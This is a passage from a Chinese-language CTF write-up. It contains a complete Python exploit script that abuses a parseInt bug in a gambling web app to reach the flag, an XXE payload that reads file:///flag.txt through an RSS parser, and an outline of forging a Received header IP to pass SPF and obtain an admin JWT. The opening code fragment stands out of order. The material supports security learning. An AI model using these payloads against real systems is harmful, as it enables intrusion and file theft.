if response.status_code == 200:
return response.json()
else:
return response.json()
except Exception as e:
print(f"购买flag失败: {e}")
return None


def smart_gamble_usd(session, initial_usd):
"""智能下注策略"""
current_usd = initial_usd
attempts = 0
max_attempts = 20 # 最大尝试次数

while current_usd < 10.0 and attempts < max_attempts:
attempts += 1

# 根据当前余额决定下注金额
if current_usd < 0.1:
# 如果余额小于0.1,下注全部余额(但至少保留一点点)
bet_amount = max(current_usd * 0.99, 0.000001)
elif current_usd < 1.0:
# 如果余额在0.1-1之间,下注0.09(这样赢了能得到0.9)
bet_amount = 0.09
else:
# 如果余额在1-10之间,下注当前余额的大部分
bet_amount = min(current_usd * 0.9, 1.0)

# 确保下注金额不超过当前余额
bet_amount = min(bet_amount, current_usd * 0.99)


import requests
import re
import time
import sys
import math

BASE_URL = "https://chall.polygl0ts.ch:8148"


def get_session():
"""获取新的会话"""
session = requests.Session()
# 设置超时
session.timeout = 10
return session


def get_balance(session):
"""获取余额"""
try:
response = session.get(f"{BASE_URL}/api/balance", timeout=5)
if response.status_code == 200:
data = response.json()
coins = float(data.get('coins', 0))
usd = float(data.get('usd', 0))
return coins, usd
except Exception as e:
print(f"获取余额失败: {e}")
return 0.0, 0.0


def gamble(session, currency, amount):
"""下注"""
try:
# 确保金额是浮点数
if isinstance(amount, str):
amount = float(amount)

payload = {'currency': currency, 'amount': amount}
response = session.post(f"{BASE_URL}/api/gamble",
json=payload, timeout=5)
if response.status_code == 200:
return response.json()
elif response.status_code == 400:
data = response.json()
print(f"下注失败: {data.get('error', 'Unknown error')}")
return data
except Exception as e:
print(f"下注失败: {e}")
return None


def convert_coins(session, amount):
"""转换硬币为美元"""
try:
# 注意:这里amount应该是整数或可以被parseInt解析为整数的字符串
payload = {'amount': amount}
response = session.post(f"{BASE_URL}/api/convert",
json=payload, timeout=5)
return response.json()
except Exception as e:
print(f"转换失败: {e}")
return None


def buy_flag(session):
"""购买flag"""
try:
response = session.post(f"{BASE_URL}/api/flag", timeout=5)
if response.status_code == 200:
return response.json()
else:
data = response.json()
print(f"购买flag失败: {data.get('error', 'Unknown error')}")
return data
except Exception as e:
print(f"购买flag失败: {e}")
return None


def exploit():
print("开始攻击...")
attempt_count = 0

while True:
attempt_count += 1
print(f"\n{'=' * 60}")
print(f"尝试 #{attempt_count}")
print(f"{'=' * 60}")

# 创建新会话
session = get_session()

try:
# 第一步:获取初始余额
coins, usd = get_balance(session)
print(f"初始余额: {coins:.15f} coins, ${usd:.2f} USD")

# 第二步:第一次下注 - 下注9.9999991微硬币
bet_amount = 0.0000099999991 # 9.9999991e-6 coins
print(f"第一步:下注 {bet_amount:.15f} coins ({bet_amount * 1e6:.6f} 微硬币)")

result = gamble(session, 'coins', bet_amount)

if not result:
print("下注请求失败,重新开始...")
continue

if result.get('win'):
print(f"恭喜!第一次就赢了!赢得: {result.get('winnings', 0)} coins")
print(f"新余额: {result.get('new_balance', 0)} coins")
# 刷新会话重新开始(虽然赢了,但需要更多美元)
print("刷新会话重新开始...")
continue
else:
print("第一步:输了(符合预期)")
print(f"输掉: {bet_amount:.15f} coins")

# 第三步:获取输后的余额
coins_after_loss, usd_after_loss = get_balance(session)
print(f"输后余额: {coins_after_loss:.15f} coins")
print(f"注意:现在有 {coins_after_loss:.15e} coins,这是关键!")

# 第四步:兑换硬币 - 利用parseInt漏洞
# coins_after_loss大约是 9e-13,parseInt会将其解析为9
print(f"第二步:尝试兑换 9 个硬币(利用parseInt漏洞)")
convert_result = convert_coins(session, 9)

if convert_result:
if convert_result.get('success'):
print(f"兑换成功!: {convert_result.get('message', '')}")
# 注意:根据题目逻辑,我们实际上只兑换了9个硬币,而不是全部余额
else:
print(f"兑换失败: {convert_result.get('error', 'Unknown error')}")
# 继续尝试,可能余额不足
continue
else:
print("兑换请求失败")
continue

# 第五步:获取兑换后的余额
coins_after_convert, usd_after_convert = get_balance(session)
print(f"兑换后余额: {coins_after_convert:.15f} coins, ${usd_after_convert:.6f} USD")

# 第六步:用美元下注
print("第三步:用美元下注积累到$10+")
bets = [0.09, 0.8, 1, 1, 1, 1, 1] # 下注策略

current_usd = usd_after_convert
bet_index = 0
max_bets = len(bets)

while current_usd < 10.0 and bet_index < max_bets:
bet_amount = bets[bet_index]
bet_index += 1

# 检查余额是否足够下注
if current_usd < bet_amount:
print(f"余额不足下注 ${bet_amount},跳过...")
continue

print(f" 下注 ${bet_amount:.2f} (当前余额: ${current_usd:.6f})")

result = gamble(session, 'usd', bet_amount)
if not result:
print(" 下注请求失败")
continue

if result.get('win'):
winnings = float(result.get('winnings', 0))
print(f" 赢了!赢得: ${winnings:.2f}")
else:
print(f" 输了...")

# 获取最新余额
_, current_usd = get_balance(session)
print(f" 当前USD余额: ${current_usd:.6f}")

time.sleep(0.3) # 避免请求过快

# 第七步:检查是否达到$10并购买flag
print(f"\n第四步:检查余额 (${current_usd:.6f})")
if current_usd >= 10.0:
print(f"余额足够!尝试购买flag...")
flag_result = buy_flag(session)

if flag_result and 'flag' in flag_result:
print(f"\n{'=' * 60}")
print(f"🎉 成功获取flag: {flag_result['flag']}")
print(f"{'=' * 60}")
return flag_result['flag']
else:
print(f"购买flag失败,继续尝试...")
else:
print(f"余额不足 (${current_usd:.6f} < $10),重新开始...")

except KeyboardInterrupt:
raise
except Exception as e:
print(f"会话过程中出错: {e}")
import traceback
traceback.print_exc()

finally:
# 每次尝试后稍微等待
time.sleep(1)


def main():
print("=" * 60)
print("硬币赌博机漏洞利用脚本")
print("漏洞:parseInt(9.999999e-6) = 9")
print("=" * 60)

try:
flag = exploit()
if flag:
print(f"\n攻击完成!总共获取到flag: {flag}")
else:
print("未能获取flag")
except KeyboardInterrupt:
print("\n用户中断")
except Exception as e:
print(f"发生错误: {e}")
import traceback
traceback.print_exc()


if __name__ == "__main__":
main()

Le Canard du Lac

RSS 订阅处可以解析标准 RSS 格式的 XML,直接打 XXE:

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<rss version="2.0">
<channel>
<title>Test Feed</title>
<description>&xxe;</description>
</channel>
</rss>

MagicAuth

这题打不通,云一下思路。

python:

image-20251215235748205

Go:

image-20251215235833328

具有解析差异:python解析空格而GO不会。

image-20251216000231079

1
Received : 1.3.3.7 #发信 IP 伪造

image-20251216000616774

mta:接收邮件并转发校验

smtp2http:SPF校验来源IP并交给web处理

web:JWT生成和校验

首先向MTA发送包含注入字段 Received : 1.3.3.7 的SMTP邮件,邮件经 MTA 转发至 smtp2http 服务。smtp2http 读取到伪造的IP地址1.3.3.7,使SPF校验通过,随后自动从环境变量中填入正确TOKEN,并构造HTTP请求发送给Web后端。Web后端验证Token正确且SPF为Pass后,认证成功,向攻击者下发Admin JWT。

然后得到 JWT 之后验证之后访问 /flag 拿到flag。